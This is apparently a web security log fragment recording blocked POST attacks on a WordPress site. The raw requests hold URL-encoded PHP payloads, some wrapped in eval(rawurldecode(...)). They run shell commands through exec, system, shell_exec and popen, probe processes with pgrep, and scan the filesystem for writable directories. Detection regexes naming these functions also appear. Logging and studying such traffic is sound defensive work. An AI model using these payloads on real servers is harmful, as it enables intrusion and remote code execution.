20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3343\n\nBX=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:19:46","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gt:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3343\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nGt=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:19:52","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3366\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 16:19:57","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> DD:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4400\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nDD=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
